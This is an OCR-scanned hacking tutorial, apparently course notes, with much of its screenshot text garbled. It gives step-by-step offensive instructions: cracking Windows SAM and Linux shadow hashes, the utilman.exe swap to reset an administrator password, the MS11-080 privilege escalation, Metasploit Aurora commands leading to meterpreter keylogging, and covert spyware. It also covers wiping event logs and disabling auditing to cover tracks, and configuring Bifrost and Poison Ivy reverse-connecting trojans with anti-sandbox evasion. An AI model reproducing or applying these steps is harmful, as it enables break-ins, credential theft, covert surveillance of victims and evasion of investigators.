you can use cain program. Click cracker. Ask him to bring the
hash for local system.

AR OB +yv R RVMEEO®E @ ¢ i
& Decoders | D network |MY soffer |of Crader |88 Trecerose |ER coou

i Cracker # | User Name [T Add N:' Hashes from

R LM & NTLM Hashes a
HR NTLMy2 Hashes {0) v Import Hashes from local system
R M5-Cache Hashes ( ™ Includs Password History Hashes
& PWL Files (0)
8 Cisco 105-MDS Hasl ™ Import Hashes ffom a text fla
M Cisco PIX-MDS Hast
P APOP-MDS Hashes [ __J
g g::ﬁ;tmﬁ- 7 Import Hashes from a SAM database
& RIPVZ-HDS Hashes ! Flarat

VRRP-HMAC Hashe:

WNC-3DES (0) I J
B MD2 Hashes (0) Boot Ky [HE
md MD4 Hashes (0) | J
= DS Hashes (0) |
%8 SHA-1 Hashes (0)
3" SHA-2 Hashes (0) Cancel Newt >
R, RIPEMD-160 Hashe
175 Kerbs Preduth Hasl

X

| challenge | Type




File Wiew Configure Tooks Help

AR QBN 4y B RV EEaO@® R

. O i

& Decoters |9 Network [M9 Saiffer [of Cracer [@R Tracerowe |E CooU [y wieless |

i@ Cracker A [ User Name | LM Password [ <8 [ T Password [ LM Hash [ NT Hash | chalk
BB IMBNTIMHash | By 4 deinistrastor * ampty * ARDIBIISES1404EEAADIBAISES |404EE  31DECFECDI6AES31B7ICSI0TENCOOF0
B NTIMV2 Hashes (0) | | B cne * ermpty * AADIBAISES14DIEEAADIBAISBS1404EE 31 DECFECDIGAE9I1B73CSIDTEDCOEFCD
2 ﬁ:ﬁ :‘;M"H (| X Helpassistant E199CEZB600BE298FICI1BOI00DAZAIA I TEDABOZ49EEIERS0BI2TE0IA1 3758

A Cisco 105-MO5 Hasl
P Cisco PIX-MOS Hast
P APOP-MDS Hashes
® CRAM-MOS Hashes
s OSPF-MDS Hashes «
.}. RIPv2-MDS Hashes

B YT T T

rute-Force Attack

AAD3B4ISES1404EEAADIB4 3585 1404EE

| FOD4 1 2BD764FFEBL AADIBA 35BS 1404EE

2D4A03A46 7030697 IEDCOH 14FESOL 1EE
209061 T40A4S0CAEB4Z2F SFASATAESTY

Charsat Password length
in |5 = =
& Predefined i ==
[ABCDEFGHUKLMNOPGRS TUWWANZ =1 = N o
™ Custom Seart from 3
_ | |[ADMIN | lo:
3
Keyspace Cutrent passwond 1
5791890
Kep Rate Tiene Led

Attack stoppedif
2 of 2 hashes cracked

Plaintext of AAD3IB435BS1404EE 1
Plaintext of FOD412BD7e4FFESL 15 ADHIN

Start | Exil

Il. Method 2 to use CD to reset the password or crack the SAM

file hash:

This method used when you are not logged in the device and

you don’t have account. In this method you can reset the

password using PassCape CD. The problem is that the user



knows that the password was reset. So the other way is to try
to crack the password in the SAM file.

A DAQQCAD

il

Welcome to Reset Windows
Password '

This Wizard .'JI“-_II!H"-' you through the steps of resetting or recovenng
your lost Windows account password

Interface language

[Enghen =

Recovary mode
¥ SAM - wark with reguiar user accounts
™ AD - work with Active Directory accounts

What do yeu want to do

b IR:se: or change user account password _":'J
Reset or change user account password

Lookup user passwords

Dump (export) password hashes to text file

s Dump (export) domain carhed caredentials to text fe
Remove user sersitive infudmation —
ﬂ Load IDE/SATA/SCSIRAID griver
h Restore previously modifed passvwore or dats |

Choose to reset or change user account password. Put the new
password for the user you want to change its password.



P Reset or change user account password - JJE].E]

Resetting SAM user account password (step 3 of 4)
In order to procesad, seiect a user agcount you want to resat the password for -
il
Uiser fst
| User name | UserRID | Admmistrator | Status Legend
-
8 Admestratwr ODODOIFS  Yes = -
8 Guest 000001FS Mo T pct A
I8 melpassstant ODOO03ES Mo (14 L
) supeoRT 33394580 ODOCO3EA Mo [+ ® Guest
D00003ER  Yes & Operator
IS system account
I Passworded

U0 Password riot sat

[~ Account propertes
Aczount locked: o Account disabled: ]
Pasgword expired: hmyer Mo paseword requred: Mo
Fassword history present: ]
Password hint:
% L_J e L) e ) - b - . T |

¥ Reset or change user account password

Resetting SAM user account password (step 4 of 4)
Enter mewy passyword for the usar account you selected or set blank password to reset it, Pay special

attention to additional options. Windows will decline the password if the account is locked or disabled,

~User account informaton
SaM path | CWINDOWS 15ystem32\ConfigiSAM
Account name fusser
Account RID | 1003
Account descripton |
“Reset
Account locked He i
Account cisabled Mo -
Password expired Ma bl
| New password | T

Try to choose make dump export password hashes to file.
the dumped passwords in usb drive. You must boot from
usb drive in order to save the file on it.

Open the saved text file.

Save
the



The file consists from: User name: user id: LM hash: NTLM
hash

We will crack LM hash

§minisr_ra:ar:500:m PASSWORDYY W& Wi kukib s kmuswew: 3] DECFEODLBAEIILBTICIPDO7EOCOB2CO:Bul 1t-4n account for administering the
mputer /domain:

B5T:501IN0 PASSWORDWWHEREWbbEvaheRawekel G PASSWORD YU VELbReRseuRrbvkte gy JT-in account Tor guest access To the computer/domain:
Helpassistant :1000:E19%CE2BE0DBE2 9BF3C31BD4 00DAZASA 34 TEDABO2406E9ERY ODB32 7883413758 account for Providing remote Assistance:
SUPFORT_SES‘?:SQU:].DOZ:N) PASSWORDY & ¥ ehekskmbmssuiuviw 30400344 67D3D697IEDCO414FESOLLEE:ThYs 15 a vendor's account for the Help and
Support Service:

useer ;1003 :FODA12BD7G4FFEBLAADIB4 3551404 EE: 209C6174DA4 POCAEBI 22F3FASATAEGIS {

You can use the website www.onlinehashcrack.com in order to
crack passwords

c| @ I

ot Visited | Getting Started | | Hide Files And Folders . | | Eduors | | Hack Facebook (AllM.. | | Upgrading to Server 20.. | | Facebook | | Facebook | | Kaspersky | | Soft Academy | | CBT Nuggets - Config.. » [ Bookma

<

OnlineHashCrack.com

Tets. NTLM y - - - Free hash search Multi hash crack WPA WPAZ crack

Hoine

S WPA WPAZ crack
Tunnel = i Youtube Contest |
Broker - Rilke. AR Y00
¥ Hash genarator
Eree forums pagswords

Length must be 16 (MySQLIZI), IF (LM, NTLM, MDS), 40 (SHAL, MYSQLS), or 48 [OSX).

Connect to

Or you can use the cain program
The dumped sam file



ML Mbaly

Windows 2000 uses NT Lan Manager (NTLM) hashing to secure passwords in transit on
the network. Depending onthe password, NTLM hashing can be weak and easy to break.
For example, let's say that the password is 123456abcdef . Whenthis password is
encrypted withthe NTLM algorithm, it's first converted to all uppercase:123456ABCDEF _.
The password is padded with null (blank) characters to make it 14 characters
long:123456 ABCDEF __

123456A =6BF11E04AFAB197F

BCDEF__=F1E9FFDCC75575B15

The hash is:6BF11E04AFAB197FF1ESFFDCCT5575B15 (NTLMhash)




You can crack the sam file using the backtrack

fdisk -
Mount/dev/sda1 iroot/
Cd Iroot/ WINDOWS/system32/config

Bkhive SYSTEM pass1.txt

Samdump2 SAM pass1.txt> Pass2.txt -

Cd /pentest/password/john

Jjohn IrootWindows/system32config/pass2. txr"

To see the hard disk, write in backtrack

# fdisk -

Mount the windows partition



# mount /dev/sda1 [root

#cd /Windows/system32/config

#bkhive system password1.txt

# samdamp2 SAM passwordi.txt > password2.txt



# [pentest/passwords/john

# ./john [root/Windows/system32/config/password2.txt

password2. txt




We want to make crack for windows 2008 domain controller so
we can reset the administrator password so we can login to
domain controller.



+ Offline Password Cracking

]
cd windows

cd system32

move Utilman.exe Utilman.bak exe
copy cmd.exe utiiman.exe

restart machin

show ¢md by clcik inicons

net user administrator 123456

To make offline crack, put windows server 2008 in CDROM.
When you login point to iso image of the windows 2008 server

Hardware  Oplions

Device Sumimary Ee\.n;-: status

W rermory 1G8 -F Connected

[ Processoes 1 +| Connect at power on
et Hird Disk {SCST) 40 GB

CD/OVD (IDE) : : it
1 Floppy Auto detect ge physical drive:
Tirisowork Adspter  NAT
Eusa Controfler Present
&) sound Card Auto detect ) Use IS0 mage fle:
N Prmter Present G:ho.s\wandows 2008'6001. 180 w Browse..,
B Dizplay Auto detect

Advanced...



Restart the server. Click to esc to get the boot from
menu>Choose to boot from cd
Choose repair your computer

.

>
Windows Server 200¢

Install now %

Ehﬂt to know before mstaling Windows

Bepan your computer
Copyright & 2007 Microea® Coipaiaman. &b St rrieried




Choose command prompt. Go c:\windows\system32
Change the name of utilman.exe to utilman.exe.bak
Copy cmd.exe to utilman.exe

All wights vezerved.
nr.‘;- t rec agnized az an internal or external command.
able program or batch file.
iz wBourcesic
SHEOUTrCes
C:xred windows
CasMWindows >cd system32

CisWindowssSystendd rmove utilman.exe utllman.exe . bak
i Filed{s) moved.

C:sWindowssSy reopy cnd.exe utilman.exe
1 Fi opied.

CasWindowssSystemndd > _

Restart the machine
Click utilman icon



Write the command to reset the password

Net user administrator pass2005

The system cannofy Find meszage text for message number Bx2358 in the message Fil
e for ﬁp],ﬂi::ntinlh

The system cannot fFind message text for message number Bx2334 in the message Fil
e For Application.

The tem cannot Find mezsage text fFor message nunmber BxB in the meszage File f
or System.

CosWindowsssystemnd2  net user administrator Pass28H8%
The command completed succeszfully.

CisWindowsssystendd >

In linux the passwords registered in file /etc/shadow



vivek:$18fniffcSbGteyHdicpGOTfXX4ow#5:13064:0:99999:7::

: rorr

1 2 3 4 5 6

1- User name : It is your login name :

2- Password: It yourencrypted password The passw urcjﬂuld be minimum 6-8 characters long
includingepecial characters/digits

3- Last password change (lastchanged): Days since Jan 1, 1970 that pasaword was lastchanged

4 Minimum: The minimum number of days required between password changes i.e. the number of days
left before the user is allowed to change his/her password

§- Maximum: The maximum number of days the password is valid (afterthat user is forced to change
his/her password)

6 Wam ; The number of days before password isto expirethat useris warned that his/her password
must be changed

7= Inactive : The number of days after password expires thataccountis disabled

8- Expire : days since Jan 1, 1970that accountis disabled i.e. an absolute date specifying when the login
may no longer be used

Offline Password Cracking:

Offline Password Cracking

Cat /etc/passwd
Save pass.txt
Cat /etc/shadow

Save shadow.txt

Cd /pentestipassword/jhon A
Junshadow /root/Desktop/pass.txt
Iroot/Desktop/shadow.txt > /root/Desktop/crack. bxt
Jihon lroot/Deskiopicrack. bt

Save the password files passwd and shadow to passwd.txt and
shadow.txt



#Kate [etc/passwd and save it to passwd.txt



#Kate [etc/shadow and save it to shadow.txt

Use the john tools

#cd [pentest/passwords/john



#./unshadow passwd.txt shadow.txt > crack.txt

# ./john crack.txt

* root@bt: /pentest/passwords/john

Terminal Help




hashcat

Hashcat
advanced

Hashcat-gui password
Oclhashcat-plus recovery

The hashcat tool is used to decrypt the hash passwords. It can
crack mds. The mdsg is one way encryption, which means the
password can be encrypted but cat be decrypted again.

Download hashcat to crack the mds hash. Hashcat wil compare
two hases togother. It will bring a word and encrypt it and
compare it with the hash of the password and if they are equal,
the two words are same. We have three vesions: hashcat,
hashcat-gui, oclhashcat-plus.



CADOCUME~1wseriLOCALS~I\Tempthasdd tmp » a9 i

Hashfile:

Hashlist Seperator: [ rRemove ﬁ) e =1 4 o -
Wordlist(s):
Mode: Brute-Force LY Hagh: MDS v ..

Pasawaord Length
Length: | 1 |- 8

Bruteforce Settings

Charset: | abcdefghijkimnopgratuvweyz e
[@] Outfile: | C\Documents and Settingswser\Desktop\og.out w | e
Format: : hash; pass w

Privilege Escalation is to give the user higher privileges. Some
backdoors can take administrator privileges



If an attacker gainsaccess to the network

using a non-admin useraccount, the next |
stepis to gain higherprivilege to that of E
anadministrator

MS11-080 - CVE-2011-2005 Afd.sys
Privilege Escalation Exploit

To know the users, go c:\documents and settings you will find
the users profiles for all users in the machine
To get the information for the user, write



>Net user user

Use the MS11-080 to change the privilege

>MS11-080.py -0 xp

IC:xDocuments and Settingzsmahmoud>cd dezktop
t smahnoudsDesktoprdir

s no label.
ARAF-CARS

= s Docume
Uo lume :
Uglume Serial Hunber iz

Directory of C:s\Documents and SettingssmahmoudsDesktop

17 PH <D
| PH < -

12 'N 2.2 BEA . py
i ] 7 bytes

.GREB butez Free

] <

and SettingssmabhmoudsDesktop>*MS11-B88._py

rsJlocuments




If all other attempts to gather passwords fail, then a keystroke
logger is the tool of choice for

hackers. Keystroke loggers (keyloggers).can be implemented
either using hardware or software. Hardware keyloggers are
small hardware devices that connect hé keyboard to the PC

and save every keystroke into a file/or in the memory of the
hardware device. In order to install a hardware keylogger, a
hacker must have physical access to the system. Software
keyloggers are pieces of stealth software that sit between the
keyboard hardware and the operating system, so that they can
record every keystroke. Software keyloggers can be deployed
on a system by Trojans or viruses.

There are hardware keyloggers and software keylogger



Eminscl o Ainine

The hardware key logger is hardware to connect the PC and
keyboard to register every keyed letter. It is not detected by
spyware

There are programs to detect the keyboard actions

PCspy keylogger can do the task

Actualspy can do the task



w Adminiskatar

w Ermnail Dalivery
my FTF Delvery

w Password Setup

e

& Snapshot Recording
=

W Programs Blocking

Set a log directary: |E:Hﬁny;mﬁsﬁnmataﬂoolﬁa}h-? Browse. . ]

Hotkey |Etrl + Shift +° [% |

Recards the cortert of the elipboard
Records login infarmation
Take a scisen snapshot when lagin infarmation captured

] Frecords every program launched or the PC

B T [] Moniter PC $py KeyloggerSel
g Irwvisible/Stealkh

e [#] Load on wandows startup
w MitiFication

u’ Urinskall

Actual Spy - Unregistered Yersion

Start monitoing [ © o oo

W Hide ) Clearaliogs | °] Regisvation @) Hep [Jf Eui

‘General Logs | Report sending|

*r

Bt i LJ: :::: path |C\Progiam Files\ACSPMoniorogs\ e
Text logs makimum size 500 &l (Cusrent size 0.0 Bytes) |
‘ Seresnishots masimum size 300 _:_J| MEB [Cusrent sze 0.00 Bytes) |
V] Clear log files when excesds maximum size Encrypt log files
| Staiup Option
(]S t e sstom oding AR
‘ Hiding
[ ] Flemave the program’s shorteut from the Deskiop ] Remove from "Add or remove programs'
[ | ] Reragve the prograrn frem the Stan-: Pragrams meriu [l Hide program faldes
You can rn the program via the “Stait - Run' menu, bping in the opened window Eﬂﬂuﬂhmtﬂt [
| Hatkey Pagsword settings
|Chil + Shift + Alt + FB ! [] Enable passwaord
I | Defaubsettings | | dopy | | Cancel |
satus; stopped Total records: 0 Text logs size: 0,00 Bytes Screenshots size: 0,00 Bytes

You can use metasploit keylogger



msfconsols
use exploitiwindows/browser'ms10_002_aurora

set SRVHOST 192 168 28 133
sel SRVPORT B0
set URIPATH J
exploit
sessions -
sessions i1

help

getpid

pa

miqrate 1620

keyscan _start

keyscan._dump

Write



# msfconsole

Msf>search windows/browser/msio_

Use exploit exploit/windows/browser/msio_oo2_aurora

>Set SRVHOST 192.168.128.133 (your ip)

>Set SRVPORT 8o (the port the program will
listen)

>Set URIPATH /

>Exploit



>Sessions —| (To access all sessions)

>Session —I 1

Some commands in meterpreter session

Hashdump (To get the files on the accessed computer)

Getpid (to know the level you are)



Migrate 948 (To increase your privilege)

Keyscan_start to make key logger on the cluent

Keyscan_dump (To get the information)

RIPATH =>4

exploll




There are a lot of spyware

is spyware that records everything a system does ontheinternet,
much like a surveillance camera. Spe:For automatically takes hundrgil of
snapshots every hour of whatever is onh the computer scréen and sav ese
snapshots in a hidden location onthe system's hard drive. Spector can be
detected and removed with Anti-spector

.h

is Internet spy software that cap}uﬁs incoming and outgoing e-
mails and immediately forwards them to anbther e-mail address. eBlaster can
also capture both sides of an Instant Messenger conversation, perform
keystroke logging, and record websites visited.

_ : is a tool that allows you to view system activity and user
actions, shut down/ restart, lock down/freeze, and even browse the filesystem
of a remote system. SpyAnywhere lets you control open program and windows
on the remote system and view Internet histories and related information.




Using Spector

—
B actiwity

eBlaster



e = M e Settings o Uimimstall o Hel

eBlaster ...

EE Report Delivery §° sent Repons Eaﬂwon of Recent Activity

REPORT TIMEFRAME: SUN, JUN 23, 01:04:12 PM TO SUN, JUN 23, 01:08:33 PM PACIFIC STANDARD TIME

3

User Activity Summary: user Help
Report Details Activity Status Computer Identification
Chat | Instant Messages 0 (o)1
[P Addrese; 192 168,28 128
Online Searches ] (| Public IP Address:;
AR A O
Web Sites Visited 0 (]
Computer Name; #P-1
Email Activity fl ikl Usernarme: user
4 Senal Mumber
Files Transferred ] (al
i 28200W0N0G2E22628

You can use spyanywhere



[ Spranywhere: emare web 22
L [ 192.168,28.138 v&| (g Q
BackTrack Linux [JjjOffensive Security KlExploit-DB Wy Alrcrack-ng [ SomaFM

h...n.n.u..uu..— Welcome to SpyAnywhere!
Vou are connected Lo user al Sun §/23/13 8 1:29:22 PM
mﬂﬂl
System Infarmuatian
Last Connection Time: Unknown

» SpyAnywhens is @ powerful, and easy 1o use remobe monitaring and administration tool, SpyAnywhere allows you fo manage, monitor, and control the remote PC via your web browser. Choose
Wind commands from the keft pane of your browser to use SpyAnywenn. Listed below an your access privileges for the semote PC you are connected ol

File System The
= s Access Privileges

You have the following access Mghts on the emote PC

View Reallime Keystrokes ® Rualtime Keystoke Viewing Allowed
Control Remote Desktop ® Open Windows Management Aliowed
View Deskiop Screemshot ® DOpen Windows Viewing Allowed

® Running Application Managament Aliowed
® Running Appiication Viewing Allowed
® Vigw Deskiop Allowed
View Temporary Historses. ® Shutdown Computer Allowed
Wiew Open Ports. * Roslan Computer Allowed

® User Logofl ABowed

View Browser Favorites
View Internet Connections

They are some programs or tools that enables us to keep the
root privileges and hide all process you make. Kits means the
group of tools that allow you to control the computer. There is
application rootkit and kernel rootkit. The application rootkit can
control some applications and commands like Is and dir. They
can hide the processes in the background and can control the
ports and hide them. The kernel rootkits are the most
dangerous rootkits and we need to change the operating system
if it was infected with kernel rootkits. It infects the kernel of the
machine.

At the core of the term "rootkit" are two words- "root” and "Kit". Root refers
to the all-powerful, "Administrator” account on Unix*and Linux Systems,
and kit refers to a set of programs or utilities that’alfow someon&to
maintain root-level access to'a computer. However, one other aspect of a
rootkit, beyond maintaining root-level access, is that the presence nf the
rootkit should be undetectable.

ﬁ‘pplmﬂtlﬂn I‘ﬂl‘.}tklts {n I5 "o Indn "dl..l" ! "tﬂp" ||p"sa| "pfdaf" . "I"IEtS'lﬂt"]
Kernel rootkits




A hacker may want to hide files on a system to preventitheir deteetion.
These files may then be usedto launch an attack on'thesystem. There are
two ways to hide files in Windows. The first is to L_m{thc attrib command.
To hide a file with the attrib command, type the followin at the command
prompt:

JH'
attrib +h [file/directory] /.

The second way to hide a file in Windows is with NTFS alternate data
streaming. NTFES file systems usedby Windows NT, 2000, and XP have a
feature called alternate data streams that allow data to be stored in
hidden files linked to a normal, visible file. Streams aren’t limited in size,
more than one stream can be linked to a normal file.

We can hide the file through the attrib command that can
change the properties of the file.



Create file 1.txt in the c: and use the command attrib +h to
change its attribute and hide the file.



attrib +h 1.txt

We can hide files in the ntfs drive through the ntfs stream
property.

Use the following command to create a file test.txt and hide it.
Use the same command to open it.

cisDocuments and Settingsswuserrod ™
sod d
dr*attribh +h 1.txt

Cisd >notepad test.txt

IC:sd>dnote pa d test . twt - hide . txt

To create and test an NTFS file stream, perform the following steps:

=

At the command line, enter notepad test.txt. -

Put some data in the file, save the file, and close _,ﬂﬁepad. Step 1 will
open notepad.

At the command line, enter dir test.txt and note'the file size.

At the command line, enter notepad tgg_.__t_f&ft_:hid_-:_i!_:_n._t;_t. Type some text
into Notepad, save the file, and close it.

Check the file size again (it should be the same as in step 3).
Open test.txt. You see only the original data.

Enter type test.txt:hidden.txt at the command line. A syntax error
message is displayed.

To hide files in linux put . in the beginning of the file name.
To show hidden files press ctrl h, or go to menu, press view,



show hidden file.



Steganography is the process of hiding data in other types of data such as
images or text files. The most popular method of hiding data in‘files is to
utilize graphicimages as hiding places. Attackers canh embed any\E
information in a graphic file using steganography. The hacker can hi
directions on making a bomb, a secret bank account number, or answersto a
test. Really any text imaginable can be hidden.in an image.

Once intruders have successfully gained Administrator aceess on a
system, they try to cover their tracks to prevent detéction of their
presence (either current or past) on the system./A*hacker may™also try
to remove evidence of their identity or acfivities on the system to
prevent tracing of their identity or location by authorities. The hacker
usually erases any error messages or security events that have béen
logged, to prevent detection. In the folloWing sections, we’ll look at g
disabling auditing and clearing the event log, which are two methods
used by a hacker to cover their tracks and avoid detection.

wevtutil.exe cl Application

Audilpel fremove /allugers

Go to event viewer



Wewriere o et |
[ Custom Views -
| Level Date and Tme Sowce | EventID | Taskc..~] | S¥stem -2
(Dinformation  7/3/2013 4:18: 34 PM Senvice... 7036 None & OpenSaved ...
(i) information 7/3/2013 4:18: Distriby... 10029 Mone
(Dinformaton  7/3/2013 4:10:31 PM Service... 7035 MNone Sy aatoven
] (Winformation  7/3/2013 4:04:17°M Service... 7036 MNone Import Custa...
| | Forwarded Events (i)information  7/3/2013 4:04:15PM Service... 7036 None o ot
[# | Applcatons and Services Logs ‘_i | ’l—‘ 0g...
4 Subscriptions ¥ Fier Curent...
i d e
Event 7036, Service Control Manager Eventlog Provider =) Propertes
General | Details | 28 Frd..
- - = II H Save Events ..,
r'hewindm Modules Installer service entered the running state.
Attach a Tas,
View »
Log Name: System o Refresh
Source: Service Control Manager Eve Logged: i B i .

Wavtutil.exe can be used to control the loga in the machine.
We can clear all logs by this tool

Use the script in the CD which will clear all logs. Run the file,
it will clear all logs.

B clear all log - Notepad g _._[uj_!_l
File Edt Format WView Help
wevtutil. exe ¢l Microsoft-windows-Fault-Tolerant-Heap/Operational -]

wevtutil.exe ¢l Microsoft-windows-Feedback-Service-TriggerProvider
wevtutil. exe ¢] Microsoft-windows-FileInfominifilter /operational
weviutil.exe ¢l Microsoft-windows-Firewall-CPL/Diagnostic

wevlutil.exe €1 "Microsoft-windows-Folder Redirect on/operational”
wevtutil.exe ¢l Microsoft-windows-Forwarding/bebug

wevtutil. exe ¢l Microsoft-windows-Forwarding/operational

wevtutil.exe ¢]1 Microsoft-windows-Gettingstarted/piagnostic
wevtutil.exe ¢l Microsoft-windows-GroupPolicy/operational

wevtutil.exe ¢1 Microsoft-windows-HAL /Debug _J
wevtutil. exe ¢l Microsoft-windows-HealthCenter /Debug

wevtutil.exe ¢l Microsoft-windows-HealthCenter /Performance

wevtutil. exe ¢l Microsoft-windows-HealthCentercPL /Performance
wevtutil.exe ¢l Microsoft-windows-Help/Operational

wevtutil.exe ¢l "Microsoft-windows-HomeGroup Control Panel Performance/
wevtutil.exe ¢l "Microsoft-windows-HomeGroup Control Panel /Operational™
wevtutil.exe ¢l "Microsoft-windows-HomeGroup Listener Service/Operation
wevtutil, exe ¢1 "Microsoft-windows-HomeGroup Provider Service Performan
wevtutil.exe ¢l "Microsoft-windows-HomeGroup Provider Service/Operation
wevtutil.exe ¢l Microsoft-windows-HomeGroup-Listenerservice
wevtutil.exe c] Microsoft-windows-HotStart/Diagnostic

wasrFuFr4d 1 ava 1 wdrracafFrs _wHdadouee _urracarud Fa Meaca




We can disable auditing policy.

v, Administrator: C\Windows \system32\cmd.exe

Hicrosoft Windows [Uersion G.9.6H01 ]
Copyright <c?» 2806 Microsoft Corporation. All rightz reserved.

GisUserssAdministrat Auditpol Aremove Aallusers
The command waz zuccessfully executed.

Ge:slzerssAdminizstrator >

We can work through the proxy server or the vpn connection to
hide the real ip.
We can also work through vps server.
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Part 6: Trojens and Backdoors and Viruses

a) Backdoors



A is a means of access to a computer program
that bypasses security mechanisms. A programmer may
sometimes install a back door so that the programcan be
accessed for troubleshooting or other purposes.
However, attackers often use back doors that they detect™
or install themselves /"

-A is a program or a set of related programs that a
hacker installs on a target systemto allow access to the
system at a later time. A backdoor’s goal is to remove the
evidence of initial entry from the system’s log files. But a
backdoor may also let a hacker retain access to a machineit
has penetrated even if the intrusion has already been
detected and remedied by the system administrator.

The backdoor is the backdoor that through it we can make
access on the machine and we can make bypass to the existing
security policies. Microsoft has a backdoors that enables it to
make remote access on the machine.

b) Torjen Horse:

-

A is a malicious program disguised as something benign. Trojans are often
downloaded along with another program or software pac::kalge;.-{)r1r:einsta!l&l:l%a| system,

they can cause data theft and loss, and system crashes or slgwWdowns; they can dlso be
used as launching points for other attacks suchas Distributed Denial of Service (DDOS).
Many Trojans are used to manipulate files on the victim computer, manage processeg,
remotely run commands, intercept keystrokes, =




Trojen horse is a good program that carries bad program. When
the client download the good program, it will download with it
the trojen program also so the hacker can access the machine.

c) Overt channel and Covert Channel:

An is the normal and a legitimate way that programs,_.
communicate within a computer system or network. A ' .

uses programs or communications paths in ways that were not
intended.

} i

il

Trojans can use to communicate. Some¢lient

»

Trojans use to send instructions tothe server
component on the compromised system. This sometimes makes
Trojan communication difficult to decipher and understand.

rely on a technique called tunneling , which lets one
protocol be carried over another protocol. Internet Control Message
Protocol (ICMP) tunneling is a method of using ICMP echo-request
and echo-reply to carry any payload an attacker may wish to use, in
an attempt to stealthily access or control a compromised system.

The overt channel means that any program when run makes for
it channel between it and the system. The covert channel means
that the program will use the channel in the wrong direction to
access the machine.



d) Different Types of Torjens:

r-

Trojans can be created and used to perform different attacks. Some of theTmi'ls_t
common types of Trojans are: / . \

—useédto gainremote access to a system

-~

—used to find dataon a syst;wﬁnd deliver data to a hacker

—used to delete or corrupt files on a system
—used to launch a denial or service attack
—used to tunnel traffic or launch hacking attacks via other system

—used to create an FTP server in order to copy files onto a system

—used to stop antivirus software

e) How Do Reverse Connecting Torjans work :




Trojan program in the hacker computer which creates server that
installed in the client computer. In the reverse connection
technique, the server on the client computer will make
connection to the Trojan program on the hacker machine. We
have problem that the hacker needs constant real ip that does
not

Reverse-connecting Trojans let an attacker access a machine on the internafnetwork from
the outside. The hacker can install a simple Trojan program on a systemon theinternal
network,such as the reverse WWW shell server. On a regular basis (usually éveny60
seconds), the internal server tries to access the external mastep"sfstem to pick up
commands. If the attacker has typed somethinginto the master system, this command is
etrieved and executed on the internal system. Reverse WWW shell uses standard HTTPR. It's
dangerous because it’s difficult to detect—it looks Eik/eg,.client is browsing the Web from the .

internal network.

| ATTACKER or SERVER PART

CONNECTED
SUCCESSEULLY

1
o

AN : 10.0.0.2
N T3 VICTIM/CLIENT

Windows Torjans Tools are Biforst and Poison Ivy

We must make port forward and dynamic dns. Go to basics
then nat in the router configuration website. Choose the start
and end port number and the internal ip of the hacker
computer. We need to make the ip of the hacker computer
static and same as the ip in the router configuration. It means
if the router will come to the real ip of the router at port 81, it
must forward the hacker computer with the internal ip
192.168.1.150 at port 81.



The problem that the real ip of the router not constant and
changing. One solution that we buy real ip. To buy real ip, we
need to have phone line registered for the hacker. So better
solution is to register for dynamic domain name in dynamic dns
server. This domain name will point to the real ip of the router.
If the real ip changes, the router will change the data in the
dynamic dns server. The client Trojan will make connection
with the dynamic dns server and it tell him the real ip of the
router. So the Trojan makes the connection to the router at the
port given in the Trojan program and the router will make port
forward to the hacker computer.

MAT - Virtual Server

Virtual Server for PVCO - Multiple TP Account
. fule Index 1 w
Application Bifrost = W
Protocol ALL w
Start Port Number - 81
End Port Number 81
Local IF Address 192.168.1.150
Start Port{Local) B1
End Port{Local) 81
Virtual Server Listing
1 Bifrost ALl 81 !:3. 81 192.158.1.150 | 81 B1

b Poisan ALL 3460 3460 192.168.1.150 | 3450 3460



The site no-ip.com can provide dynamic dns. Register, then
choose add host.
Download and setup the no-ip program at hacker computer.

[ Duc o
File Edit Tools Help

Status

Client ID: C3A9845233
Account:
demaoairdragon @hotmai. com

v upﬁw:ﬂ&ﬂmﬁlhmﬁ 9
P 41,32.61,242 [Refresh Now
v Next Chedc 1m 585 @ |Enfmshiioe




Please salect the hosts or groups to be
associated with this dient, You can dick here
o manage your hosts and groups within your
acrount on the MNo-IP. com website.

Manage Existing Hosts : Create Hosts

| zapto.org
| demoairdragon. zapto. org

[] show only selected hosts

Require & passward to modify hosts

[sove ][ cocel ]

You can utilize a property in routers called dynamic dns



H e e Sl e e

HG520b

[ Status

& Basic

= Advanced

* RIP

Security

Firewall

Filter

Qos

Port Mapping

TimeZone

ACL

TROGS

UFnP

DDNS

Option&0

[ Tools

Dynamic DNS
Dynamic DNS
Active _ Enable ®) Disable
Service Provider

Host Name

E-mail Address

Uiser

Password
Enable Wildcard Enable ® Disable

Submit

Copyright & 2009 All Rights Resarved.

Register for account in dyndns.com and put the registration
information in the router configuration. When the router restarts,
it will register its ip in dynamic dns.

We can use VPS machine. VPS will have real IP and it is
adevice connected directly to internet and we put through it
Trojan program. The Trojan server in the client will make reverse
connection to this real IP so the real IP will not change and

VPS up in 24hrs.

f) Windows Torjan Tools :




* Bifrost

» Poison lvy

Download bifrost. The bifrost has small size and accept
encryption in many ways. Make registration.
Make the port forward at the router.



-=TE Data-- Achieving Together

___ [——

[ Status
= foske NAT-VirtwalServer
= ADSL Mode
- Virtual Server for PVCO - Multiple IP Account
* WAN Setting e
e Rule Index [ v
Application |5!Ff st |' s
* DHCP s
Protocol |TALL v
* MAT o 1
Start Port Number o
* IP Route — ‘
, End Part Number |81 i
* Wireless Lan -
Local 1P Address 192.168.1.150
= ATM Traffic R
Start Port(Local) Jiz _
= Ry End Port(Local) o
n
& Tools
Applicabiory Protac 55 Port{Local ) Part{Local]
1 |Biffost [AL |81 |81 | 192.166.1.150 |81 81
- 2 [poson |AL  |3460% | 3460 | 1521601150 | 3460 3450
— - q |- 0 0 | 0.0.0.0 0 0
4 |- - 0 0 | 0.0.0.0 0 0

Then go bifrost stub customizer and generate the trojan with
the following sittings. The file generated will be Customized.



&7 L7 SULL B3 V) Apphication LA/ Kb
BiFrost Stub Customizer v2 By Ababneh 1 For Dev-Point.com (8]

o Anti - Methods
V| AntiSunBek SandBox (/] AntiCwSandBox [V Anti-SandBoue
(V] AntivVMware V] AntiVitual Box | AntiVitual PC
7] Antinubis [¥| Anti-Thieat Expert | AnfinJosBox
V] Anti-D ebugger (¥ AntiN aman 71 UnCheck Al

9 IfFound Do ThisAction | Exi -

4 Extra’s & Changelcon | |Activate? [ Fake Eor Msg [ Activate ?
(¥l Compress URX @ Method 1 Method 2 [Enter MG Box Tile |
l‘,l DEL Version Info | Salect Ar loon 6""’1 IEr|||_'r Faks M 1 Here i
| |Pﬂtm Hiast File Ini T— : = - .
= nject "BETA Bindes -

[ | Kill Process g ini |---|A‘“""'"’7_ B I Jhctwatul?l
{Process Mare Inject To: | This EXE - | Salect & Fie To Bind [ & l

/' Encryption vy Compatibility

